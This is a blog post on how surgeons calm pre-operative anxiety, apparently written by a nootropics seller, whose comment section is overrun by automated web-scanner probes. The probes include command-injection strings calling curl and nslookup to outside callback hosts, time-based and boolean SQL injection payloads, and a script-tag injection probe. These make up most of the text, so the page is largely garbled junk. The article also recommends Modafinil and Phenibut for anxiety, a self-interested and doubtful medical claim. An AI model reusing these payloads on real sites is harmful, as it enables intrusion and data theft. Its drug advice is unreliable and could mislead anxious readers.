I’ve always marveled at the focus, concentration and unflappability of experienced surgeons. The amount of calm they exude even outside surgery is remarkable. Having watched them from the sidelines for close to 5 years, their sense of composure is something that I aspire to.
I have been shadowing surgeons for some time now. Five years ago, I was developing animal models of breast cancer in the In Vivo Pharma group at Astellas. Recently, I’ve been working with fresh human tumor samples, taken from bedside to bench by surgeons in my lab. While it is not exactly the same as operating on humans, you need to have steady hands and a clear head to do well.
Even today when I step into the operating room, I sometimes get a bit jittery watching surgeons operate on their patients. Every now and then a bit of self-doubt, fear and anxiety creep in. It’s easy to forget that despite all the years of study and practice that we are still human.
I remember the first day I had to watch surgeons in action, I was a nervous wreck. My heart was beating so fast that I thought everyone could hear it and I was sweating profusely. My brain was on edge from all the thoughts that were bouncing around in my head.
After the session was done, when I was in my room I thought to myself, “If I was going haywire in the room without being involved in the surgery, I wonder what the doctors would’ve gone through?!”
The scene inside the operating room is often stressful, chaotic and tempers sometimes boil over in the heat of the moment. The best surgeons, I’ve noticed, are the ones who are able to maintain a stoic demeanor while being responsive enough to handle any unpleasant situations that might arise.
I have seen things get really bad but they were almost always quelled before they go worse. I learnt that being a surgeon is to be a master of your scalpel as well as your emotions.
I always knew that the life of a doctor was tough. An experienced surgeon once told me, “Son, you might think it’s hard now, but it’s a completely different ballgame when you finally wear the disposable mask and the smell of antiseptic hangs in the air.”
Methods Used by Surgeons
While I’m far away from being a zen-master of surgery, there are a few tips given to me by masters of their craft that have helped maintain my composure during trying times. Hopefully they can help you as well.
Focus and Breathing
Meditating is an easy and effective way to get rid of stress from your wracked body. You can either go to classes to practice in a group or you can read books from famous authors about how to go on about it. If you’re just starting out career-wise, know that it’s normal to feel anxious before a surgery. And according to Peggy Huddleston, the author of “Prepare for Surgery, Heal Faster”, it happens to people on both sides of the scalpel.
There are several easy meditation techniques for people looking to get into it quickly. Lamaze breathing is one such technique where you focus on conscious or patterned breathing to achieve relaxation. Deep steady breaths and slow exhaling can do wonders for your nerves.
Taking stock
This is a routine that a lot of doctors have told me they follow to increase their mental-awareness.
Before you prepare for surgery, make sure you have a mental checklist of all the items that you would normally require for the procedure. Check them off one by one as your mind is able to register them. Pretty soon you’ll start doing this as part of your preparation process.
Music
Still, many tune in to their favorite band for relaxation.
One of the best methods to relax, pre and post-surgery, your playlist should have everything that you’d normally need, from soothing sounds of nature, sea and surf, waterfalls, white noise and in case of extreme stress, The Beatles.
Find your right mix to help you get over stressful times and have it at your beck and call.
Food
Some people I know turn to food in times of anxiety.
Berries, nuts, oranges, avocados are great for relieving stress and getting into a calm state of mind. You can also cheat a bit with chocolate as it has been found to have properties that work against anxiety. For best results, get dark chocolate with minimal or no sugar.
Smart Drugs
Nootropics are a branch of medication that helps you with cognitive performance. More than a few people suggested this as they seem to work for them.
There are different nootropics with pronounced anxiolytic properties which can help people during times of extreme stress or anxiety. Modafinil and Phenibut have been the most commonly used drugs for their calming effect on people.
The right nootropics can help most people get over their problems with anxiety. But you need to speak to your doctor before you start on them.
Summarizing
I hope this was able to give you some insight into the methods other surgeons use for beating anxiety before surgery. A lot of my colleagues use one or more of the above methods to get themselves into gear. All being well, they can help you too.
Surgeons have a huge responsibility on their hands. Saving lives is never easy and it puts considerable strain on us all. But if they are able to clear their mind and focus their thoughts, people get another shot at life. That to me is worth fighting for.
Author:
Dan Fries is an entrepreneur, businessman and author. He is the founder of Corpina Nootropics, and former oncology researcher at Harvard Medical School. Dan’s mission is to inform the world about nootropics and responsible cognitive enhancement.
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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testing@example.com
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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'"()&%<zzz><ScRiPt >2YTr(9706)</ScRiPt> on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:36
testing@example.com
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pHqghUme on 2025-12-01 06:36
testing@example.com
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pHqghUme on 2025-12-01 06:36
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
testing@example.com
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
testing@example.com
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
testing@example.com
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:37
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pHqghUme on 2025-12-01 06:38
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pHqghUme on 2025-12-01 06:38
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pHqghUme on 2025-12-01 06:39
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pHqghUme on 2025-12-01 06:40
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pHqghUme on 2025-12-01 06:40
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pHqghUme on 2025-12-01 06:40
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testing@example.com
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pHqghUme on 2025-12-01 06:40
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pHqghUme on 2025-12-01 06:40
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pHqghUme on 2025-12-01 06:40
testing@example.com
'.print(md5(31337)).'
;(nslookup -q=cname hithraqpdbafyd6f9a.bxss.me||curl hithraqpdbafyd6f9a.bxss.me)|(nslookup -q=cname hithraqpdbafyd6f9a.bxss.me||curl hithraqpdbafyd6f9a.bxss.me)&(nslookup -q=cname hithraqpdbafyd6f9a.bxss.me||curl hithraqpdbafyd6f9a.bxss.me) on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitzrdnnaippr7c947.bxss.me||curl${IFS}hitzrdnnaippr7c947.bxss.me) on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
&(nslookup${IFS}-q${IFS}cname${IFS}hittklcnacyoh688e3.bxss.me||curl${IFS}hittklcnacyoh688e3.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hittklcnacyoh688e3.bxss.me||curl${IFS}hittklcnacyoh688e3.bxss.me)&`' on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
echo tqqojs$()\ smeozt\nz^xyu||a #' &echo tqqojs$()\ smeozt\nz^xyu||a #|" &echo tqqojs$()\ smeozt\nz^xyu||a #
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
&echo jojwvv$()\ kavjzc\nz^xyu||a #' &echo jojwvv$()\ kavjzc\nz^xyu||a #|" &echo jojwvv$()\ kavjzc\nz^xyu||a #
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:41
testing@example.com&echo sgynee$()\ dlbuwq\nz^xyu||a #' &echo sgynee$()\ dlbuwq\nz^xyu||a #|" &echo sgynee$()\ dlbuwq\nz^xyu||a #
1
pHqghUme on 2025-12-01 06:41
|echo dzojak$()\ knnots\nz^xyu||a #' |echo dzojak$()\ knnots\nz^xyu||a #|" |echo dzojak$()\ knnots\nz^xyu||a #
1
pHqghUme on 2025-12-01 06:41
testing@example.com
1
pHqghUme on 2025-12-01 06:42
testing@example.com|echo avatpb$()\ rrzkon\nz^xyu||a #' |echo avatpb$()\ rrzkon\nz^xyu||a #|" |echo avatpb$()\ rrzkon\nz^xyu||a #
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:42
expr 9000193297 - 950896
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:42
(nslookup -q=cname hitoulrfioidp9b438.bxss.me||curl hitoulrfioidp9b438.bxss.me))
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:42
$(nslookup -q=cname hitoaxhdtrtta357b4.bxss.me||curl hitoaxhdtrtta357b4.bxss.me)
1
pHqghUme on 2025-12-01 06:42
&nslookup -q=cname hitousrnjftgsb0fa0.bxss.me&'\"`0&nslookup -q=cname hitousrnjftgsb0fa0.bxss.me&`'
1
pHqghUme on 2025-12-01 06:42
&(nslookup -q=cname hitoppztkelsl7009a.bxss.me||curl hitoppztkelsl7009a.bxss.me)&'\"`0&(nslookup -q=cname hitoppztkelsl7009a.bxss.me||curl hitoppztkelsl7009a.bxss.me)&`'
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:42
|(nslookup -q=cname hitqblrlltoza52f10.bxss.me||curl hitqblrlltoza52f10.bxss.me)
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:42
`(nslookup -q=cname hitfucdnqknmm3be0d.bxss.me||curl hitfucdnqknmm3be0d.bxss.me)`
1
pHqghUme on 2025-12-01 06:42
testing@example.com
1
pHqghUme on 2025-12-01 06:43
;(nslookup -q=cname hitxguktdendd9ea14.bxss.me||curl hitxguktdendd9ea14.bxss.me)|(nslookup -q=cname hitxguktdendd9ea14.bxss.me||curl hitxguktdendd9ea14.bxss.me)&(nslookup -q=cname hitxguktdendd9ea14.bxss.me||curl hitxguktdendd9ea14.bxss.me)
1
pHqghUme on 2025-12-01 06:43
|(nslookup${IFS}-q${IFS}cname${IFS}hitdffrrvinvh23799.bxss.me||curl${IFS}hitdffrrvinvh23799.bxss.me)
1
pHqghUme on 2025-12-01 06:43
&(nslookup${IFS}-q${IFS}cname${IFS}hitwhmggpzbzv925e4.bxss.me||curl${IFS}hitwhmggpzbzv925e4.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwhmggpzbzv925e4.bxss.me||curl${IFS}hitwhmggpzbzv925e4.bxss.me)&`'
1
pHqghUme on 2025-12-01 06:43
testing@example.com
1
pHqghUme on 2025-12-01 06:43
testing@example.com
1
pHqghUme on 2025-12-01 06:43
testing@example.com
1
pHqghUme on 2025-12-01 06:43
testing@example.com
1
pHqghUme on 2025-12-01 06:43
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:44
testing@example.com
1
pHqghUme on 2025-12-01 06:45
testing@example.com
1
pHqghUme on 2025-12-01 06:45
testing@example.com
1
pHqghUme on 2025-12-01 06:45
testing@example.com
echo armpji$()\ xjlisy\nz^xyu||a #' &echo armpji$()\ xjlisy\nz^xyu||a #|" &echo armpji$()\ xjlisy\nz^xyu||a #
pHqghUme on 2025-12-01 06:45
testing@example.com
&echo ltprit$()\ smpkig\nz^xyu||a #' &echo ltprit$()\ smpkig\nz^xyu||a #|" &echo ltprit$()\ smpkig\nz^xyu||a #
pHqghUme on 2025-12-01 06:45
testing@example.com
1&echo npgukb$()\ bvwwch\nz^xyu||a #' &echo npgukb$()\ bvwwch\nz^xyu||a #|" &echo npgukb$()\ bvwwch\nz^xyu||a #
pHqghUme on 2025-12-01 06:45
testing@example.com
|echo pwdbcv$()\ gnnlub\nz^xyu||a #' |echo pwdbcv$()\ gnnlub\nz^xyu||a #|" |echo pwdbcv$()\ gnnlub\nz^xyu||a #
pHqghUme on 2025-12-01 06:45
testing@example.com
1|echo rywehu$()\ xgoiqm\nz^xyu||a #' |echo rywehu$()\ xgoiqm\nz^xyu||a #|" |echo rywehu$()\ xgoiqm\nz^xyu||a #
pHqghUme on 2025-12-01 06:45
testing@example.com
expr 9000365606 - 972927
pHqghUme on 2025-12-01 06:45
testing@example.com
1
pHqghUme on 2025-12-01 06:45
testing@example.com
1
pHqghUme on 2025-12-01 06:45
testing@example.com
(nslookup -q=cname hitiduqwnywsgf1552.bxss.me||curl hitiduqwnywsgf1552.bxss.me))
pHqghUme on 2025-12-01 06:46
testing@example.com
$(nslookup -q=cname hitjlnjuulmly9b11c.bxss.me||curl hitjlnjuulmly9b11c.bxss.me)
pHqghUme8lGIE2vF on 2025-12-01 06:46
testing@example.com
1
pHqghUme on 2025-12-01 06:46
testing@example.com
&nslookup -q=cname hitzroqviljnkfd2dc.bxss.me&'\"`0&nslookup -q=cname hitzroqviljnkfd2dc.bxss.me&`'
pHqghUme on 2025-12-01 06:46
testing@example.com
&(nslookup -q=cname hitjfkmwmkvzd6074c.bxss.me||curl hitjfkmwmkvzd6074c.bxss.me)&'\"`0&(nslookup -q=cname hitjfkmwmkvzd6074c.bxss.me||curl hitjfkmwmkvzd6074c.bxss.me)&`'
pHqghUme on 2025-12-01 06:46
testing@example.com
1
pHqghUme on 2025-12-01 06:46
testing@example.com
|(nslookup -q=cname hitshpclfwepebc243.bxss.me||curl hitshpclfwepebc243.bxss.me)
-1 OR 5*5=25 -- on 2025-12-01 06:46
testing@example.com
1
pHqghUme on 2025-12-01 06:46
testing@example.com
`(nslookup -q=cname hitmxganmiauzad9af.bxss.me||curl hitmxganmiauzad9af.bxss.me)`
pHqghUme on 2025-12-01 06:46
testing@example.com
;(nslookup -q=cname hitetzwlaehzp80fbb.bxss.me||curl hitetzwlaehzp80fbb.bxss.me)|(nslookup -q=cname hitetzwlaehzp80fbb.bxss.me||curl hitetzwlaehzp80fbb.bxss.me)&(nslookup -q=cname hitetzwlaehzp80fbb.bxss.me||curl hitetzwlaehzp80fbb.bxss.me)
-1 OR 5*5=25 on 2025-12-01 06:46
testing@example.com
1
pHqghUme on 2025-12-01 06:46
testing@example.com
|(nslookup${IFS}-q${IFS}cname${IFS}hitcvcjychisse0623.bxss.me||curl${IFS}hitcvcjychisse0623.bxss.me)
pHqghUme on 2025-12-01 06:46
testing@example.com
&(nslookup${IFS}-q${IFS}cname${IFS}hiturhyehdajgeaf17.bxss.me||curl${IFS}hiturhyehdajgeaf17.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiturhyehdajgeaf17.bxss.me||curl${IFS}hiturhyehdajgeaf17.bxss.me)&`'
-1' OR 5*5=25 -- on 2025-12-01 06:46
testing@example.com
1
-1" OR 5*5=25 -- on 2025-12-01 06:46
testing@example.com
1
-1' OR 5*5=25 or '03SAd9i3'=' on 2025-12-01 06:46
testing@example.com
1
-1" OR 5*5=25 or "tryDI0b3"=" on 2025-12-01 06:47
testing@example.com
1
if(now()=sysdate(),sleep(15),0) on 2025-12-01 06:47
testing@example.com
1
pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z on 2025-12-01 06:47
testing@example.com
1
pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z on 2025-12-01 06:47
testing@example.com
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ on 2025-12-01 06:47
testing@example.com
1
pHqghUme-1 waitfor delay '0:0:15' -- on 2025-12-01 06:48
testing@example.com
1
pHqghUmeQa6Auj3I'; waitfor delay '0:0:15' -- on 2025-12-01 06:48
testing@example.com
1
pHqghUme35ZUiL9b' OR 874=(SELECT 874 FROM PG_SLEEP(15))-- on 2025-12-01 06:48
testing@example.com
1
pHqghUmeWq3ypgwx') OR 523=(SELECT 523 FROM PG_SLEEP(15))-- on 2025-12-01 06:48
testing@example.com
1
pHqghUmeb83mfN0s')) OR 337=(SELECT 337 FROM PG_SLEEP(15))-- on 2025-12-01 06:48
testing@example.com
1
pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' on 2025-12-01 06:49
testing@example.com
1
pHqghUme on 2025-12-01 06:49
testing@example.com
1
pHqghUme'" on 2025-12-01 06:49
testing@example.com
1
pHqghUme on 2025-12-01 06:49
testing@example.com
1
@@Lwdx4 on 2025-12-01 06:49
testing@example.com
1
(select 198766*667891) on 2025-12-01 06:49
testing@example.com
1
(select 198766*667891 from DUAL) on 2025-12-01 06:49
testing@example.com
1
pHqghUme on 2025-12-01 06:49
testing@example.com
1
pHqghUme on 2025-12-01 06:50
testing@example.com
1
pHqghUme on 2025-12-01 06:50
testing@example.comIFDR042y
1
pHqghUme on 2025-12-01 06:50
testing@example.com
1
pHqghUme on 2025-12-01 06:50
-1 OR 5*5=25 --
1
pHqghUme on 2025-12-01 06:50
-1 OR 5*5=25
1
pHqghUme on 2025-12-01 06:50
-1' OR 5*5=25 --
1
pHqghUme on 2025-12-01 06:50
-1" OR 5*5=25 --
1
pHqghUme on 2025-12-01 06:51
-1' OR 5*5=25 or '4drbeugw'='
1
pHqghUme on 2025-12-01 06:51
-1" OR 5*5=25 or "kYkiagbI"="
1
pHqghUme on 2025-12-01 06:51
if(now()=sysdate(),sleep(15),0)
1
pHqghUme on 2025-12-01 06:51
testing@example.com0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
pHqghUme on 2025-12-01 06:51
testing@example.com0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
pHqghUme on 2025-12-01 06:51
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
pHqghUme on 2025-12-01 06:51
testing@example.com-1 waitfor delay '0:0:15' --
1
pHqghUme on 2025-12-01 06:51
testing@example.comUg6Bx86i'; waitfor delay '0:0:15' --
1
pHqghUme on 2025-12-01 06:52
testing@example.comV7NH7d7S' OR 509=(SELECT 509 FROM PG_SLEEP(15))--
1
pHqghUme on 2025-12-01 06:52
testing@example.comG0UbcXKh') OR 205=(SELECT 205 FROM PG_SLEEP(15))--
1
pHqghUme on 2025-12-01 06:52
testing@example.com45gIfuwC')) OR 907=(SELECT 907 FROM PG_SLEEP(15))--
1
pHqghUme on 2025-12-01 06:52
testing@example.com'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
pHqghUme on 2025-12-01 06:52
testing@example.com
1
pHqghUme on 2025-12-01 06:52
testing@example.com'"
1
pHqghUme on 2025-12-01 06:52
testing@example.com
1
pHqghUme on 2025-12-01 06:53
@@Xqmqw
1
pHqghUme on 2025-12-01 06:53
(select 198766*667891)
1
pHqghUme on 2025-12-01 06:53
(select 198766*667891 from DUAL)
1
pHqghUme on 2025-12-01 06:53
testing@example.com
1
pHqghUme on 2025-12-01 06:53
testing@example.com
1
pHqghUme on 2025-12-01 06:53
testing@example.com
1
pHqghUme on 2025-12-01 06:53
testing@example.com
1
pHqghUme on 2025-12-01 06:53
testing@example.com
1
pHqghUme on 2025-12-01 06:54
testing@example.com
1
pHqghUme on 2025-12-01 06:54
testing@example.com
1
pHqghUme on 2025-12-01 06:54
testing@example.com
1
pHqghUme on 2025-12-01 06:54
testing@example.com
1
pHqghUme on 2025-12-01 06:54
testing@example.com
1
pHqghUme on 2025-12-01 06:54
testing@example.com
1
pHqghUme on 2025-12-01 06:54
testing@example.com
1
pHqghUme on 2025-12-01 06:55
testing@example.com
1
pHqghUme on 2025-12-01 06:55
testing@example.com
1
pHqghUme on 2025-12-01 06:55
testing@example.com
1
pHqghUme on 2025-12-01 06:55
testing@example.com
1
pHqghUme on 2025-12-01 06:56
testing@example.com
1
pHqghUme on 2025-12-01 06:56
testing@example.com
1
pHqghUme on 2025-12-01 06:56
testing@example.com
1
pHqghUme on 2025-12-01 06:56
testing@example.com
1
pHqghUme on 2025-12-01 06:56
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
1ITlL693E
pHqghUme on 2025-12-01 06:57
testing@example.com
1
pHqghUme on 2025-12-01 06:57
testing@example.com
-1 OR 5*5=25 --
pHqghUme on 2025-12-01 06:57
testing@example.com
-1 OR 5*5=25
pHqghUme on 2025-12-01 06:57
testing@example.com
-1' OR 5*5=25 --
pHqghUme on 2025-12-01 06:57
testing@example.com
-1" OR 5*5=25 --
pHqghUme on 2025-12-01 06:57
testing@example.com
-1' OR 5*5=25 or '63Y35Tbf'='
pHqghUme on 2025-12-01 06:58
testing@example.com
-1" OR 5*5=25 or "xRPzhwm2"="
pHqghUme on 2025-12-01 06:58
testing@example.com
1*if(now()=sysdate(),sleep(15),0)
pHqghUme on 2025-12-01 06:58
testing@example.com
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme on 2025-12-01 06:58
testing@example.com
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme on 2025-12-01 06:58
testing@example.com
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme on 2025-12-01 06:58
testing@example.com
1-1; waitfor delay '0:0:15' --
pHqghUme on 2025-12-01 06:58
testing@example.com
1-1); waitfor delay '0:0:15' --
pHqghUme on 2025-12-01 06:58
testing@example.com
1-1 waitfor delay '0:0:15' --
pHqghUme on 2025-12-01 06:59
testing@example.com
12ZxpLsLR'; waitfor delay '0:0:15' --
pHqghUme on 2025-12-01 06:59
testing@example.com
1-1 OR 404=(SELECT 404 FROM PG_SLEEP(15))--
pHqghUme on 2025-12-01 06:59
testing@example.com
1-1) OR 632=(SELECT 632 FROM PG_SLEEP(15))--
pHqghUme on 2025-12-01 06:59
testing@example.com
1-1)) OR 238=(SELECT 238 FROM PG_SLEEP(15))--
pHqghUme on 2025-12-01 06:59
testing@example.com
11DfzAqrp' OR 190=(SELECT 190 FROM PG_SLEEP(15))--
pHqghUme on 2025-12-01 07:00
testing@example.com
19uSVP7Ej') OR 782=(SELECT 782 FROM PG_SLEEP(15))--
pHqghUme on 2025-12-01 07:00
testing@example.com
1M4UtWKBu')) OR 244=(SELECT 244 FROM PG_SLEEP(15))--
pHqghUme on 2025-12-01 07:00
testing@example.com
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme on 2025-12-01 07:00
testing@example.com
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme on 2025-12-01 07:00
testing@example.com
1
pHqghUme on 2025-12-01 07:00
testing@example.com
1'"
pHqghUme on 2025-12-01 07:00
testing@example.com
1
pHqghUme on 2025-12-01 07:00
testing@example.com
@@FkcYx
pHqghUme on 2025-12-01 07:00
testing@example.com
(select 198766*667891)
pHqghUme on 2025-12-01 07:01
testing@example.com
(select 198766*667891 from DUAL)